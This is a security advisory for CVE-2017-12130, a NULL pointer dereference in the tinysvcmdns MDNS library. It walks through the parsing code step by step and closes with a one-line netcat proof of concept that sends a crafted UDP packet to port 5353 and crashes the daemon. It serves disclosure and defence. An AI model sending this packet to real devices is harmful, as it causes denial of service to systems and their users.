CVE-2017-12130
An exploitable NULL pointer dereference vulnerability exists in the tinysvcmdns library version 2017-11-05. A specially crafted packet can make the library dereference a NULL pointer leading to server crash and denial of service. An attacker needs to send a DNS query to trigger this vulnerability.
tinysvcmdns 2017-11-05
https://bitbucket.org/geekman/tinysvcmdns
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-476: NULL Pointer Dereference
The tinysvcmdns library is a MDNS responder implementation optimized for size, and is essentially a mini and embedded version of Avahi or Bonjour.
The main_loop
function in mdnsd.c
is used to continuously send and receive MDNS packets:
static void main_loop(struct mdnsd *svr) {
...
ssize_t recvsize = recvfrom(svr->sockfd, pkt_buffer, PACKET_SIZE, 0, // [1]
(struct sockaddr *) &fromaddr, &sockaddr_size);
if (recvsize < 0) {
log_message(LOG_ERR, "recv(): %m");
}
DEBUG_PRINTF("data from=%s size=%ld\n", inet_ntoa(fromaddr.sin_addr), (long) recvsize);
struct mdns_pkt *mdns = mdns_parse_pkt(pkt_buffer, recvsize); // [2]
if (mdns != NULL) {
if (process_mdns_pkt(svr, mdns, mdns_reply)) { // [3]
...
}
At [1] data is received and stored in pkt_buffer
, which is then sent to function mdns_parse_pkt
at [2] for parsing.
mdns_parse_pkt
will return the parsed packet as an mdns_pkt
structure which is later processed at [3] by process_mdns_pkt
.
struct mdns_pkt *mdns_parse_pkt(uint8_t *pkt_buf, size_t pkt_len) {
uint8_t *p = pkt_buf;
size_t off;
struct mdns_pkt *pkt;
int i;
if (pkt_len < 12)
return NULL;
MALLOC_ZERO_STRUCT(pkt, mdns_pkt); // [4]
pkt->id = mdns_read_u16(p); p += sizeof(uint16_t);
pkt->flags = mdns_read_u16(p); p += sizeof(uint16_t);
pkt->num_qn = mdns_read_u16(p); p += sizeof(uint16_t);
pkt->num_ans_rr = mdns_read_u16(p); p += sizeof(uint16_t);
pkt->num_auth_rr = mdns_read_u16(p); p += sizeof(uint16_t);
pkt->num_add_rr = mdns_read_u16(p); p += sizeof(uint16_t);
off = p - pkt_buf;
// parse questions
for (i = 0; i < pkt->num_qn; i++) {
size_t l = mdns_parse_qn(pkt_buf, pkt_len, off, pkt); // [5]
...
off += l;
...
mdns_parse_pkt
in mdns.c
internally allocates space for the new mdns_pkt
structure at [4] which is populated by calling mdns_parse_qn
at [5] for every defined question (the num_qn
field).
Note that off
is used to keep track of the position of the current MDNS query to parse within the raw packet buffer.
static size_t mdns_parse_qn(uint8_t *pkt_buf, size_t pkt_len, size_t off,
struct mdns_pkt *pkt) {
const uint8_t *p = pkt_buf + off;
struct rr_entry *rr;
uint8_t *name;
assert(pkt != NULL);
rr = malloc(sizeof(struct rr_entry));
memset(rr, 0, sizeof(struct rr_entry));
name = uncompress_nlabel(pkt_buf, pkt_len, off); // [6]
p += label_len(pkt_buf, pkt_len, off);
rr->name = name; // [7]
rr->type = mdns_read_u16(p);
p += sizeof(uint16_t);
rr->unicast_query = (*p & 0x80) == 0x80;
rr->rr_class = mdns_read_u16(p) & ~0x80;
p += sizeof(uint16_t);
rr_list_append(&pkt->rr_qn, rr);
return p - (pkt_buf + off);
}
mdns_parse_qn
is used for parsing the MDNS questions section of the packet buffer. At [6] the function uncompress_nlabel
is called and its return value is stored in the name
field of the new rr_entry
at [7].
The uncompress_nlabel
function is used to parse a name label and return its uncompressed form. The compression format implemented is described in RFC 1035.
This function takes as parameter the packet buffer, its size, and the offset in the packet where the label to uncompress is found.
static uint8_t *uncompress_nlabel(uint8_t *pkt_buf, size_t pkt_len, size_t off) {
uint8_t *p;
uint8_t *e = pkt_buf + pkt_len;
size_t len = 0;
char *str, *sp;
if (off >= pkt_len) // [8]
return NULL;
...
The check at [8] ensures that the offset specified is within the bounds of the packet buffer. If the offset is out of bounds, NULL is returned.
As we can see, no checks are performed at [6] on the return value of uncompress_nlabel
, thus allowing for storing NULL in rr->name
at [7].
Later on, the name
field could get dereferenced, causing a denial of service.
Indeed this happens inside process_mdns_pkt
, which is called at [3], right after the packet is parsed. Note that other paths that lead to a NULL dereference might exist.
static int process_mdns_pkt(struct mdnsd *svr, struct mdns_pkt *pkt, struct mdns_pkt *reply) {
int i;
assert(pkt != NULL);
// is it standard query?
if ((pkt->flags & MDNS_FLAG_RESP) == 0 &&
MDNS_FLAG_GET_OPCODE(pkt->flags) == 0) {
mdns_init_reply(reply, pkt->id);
DEBUG_PRINTF("flags = %04x, qn = %d, ans = %d, add = %d\n",
pkt->flags,
pkt->num_qn,
pkt->num_ans_rr,
pkt->num_add_rr);
// loop through questions
struct rr_list *qnl = pkt->rr_qn;
for (i = 0; i < pkt->num_qn; i++, qnl = qnl->next) {
struct rr_entry *qn = qnl->e;
int num_ans_added = 0;
char *namestr = nlabel_to_str(qn->name); // [9]
...
The function cycles over the list of parsed MDNS queries, and extracts at [9] the name of an rr_entry
using nlabel_to_str
.
char *nlabel_to_str(const uint8_t *name) {
char *label, *labelp;
const uint8_t *p;
size_t buf_len = 256;
assert(name != NULL);
label = labelp = malloc(buf_len);
for (p = name; *p; p++) { // [10]
...
As we can see nlabel_to_str
doesn’t expect to receive a NULL name
since it is dereferenced at [10].
The following proof of concept shows how to crash the tinysvcmdns daemon.
$ echo -en "\xff\xff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" | nc -u $IP 5353
The packet is composed as follows:
ffff - transaction id
0000 - flags
0001 - number of questions
0000 - number of answers
0000 - number of authority resource records
0000 - number of additional resource records
Since no “question” chunk is defined at the end of the packet, off
will be equal to pkt_len
and this will make uncompress_nlabel
return NULL.
2017-11-12 - Vendor Disclosure
2018-01-16 - Public Release
Discovered by Claudio Bozzato, Yves Younan, Lilith Wyatt <(^_^)> and Aleksandar Nikolic of Cisco Talos.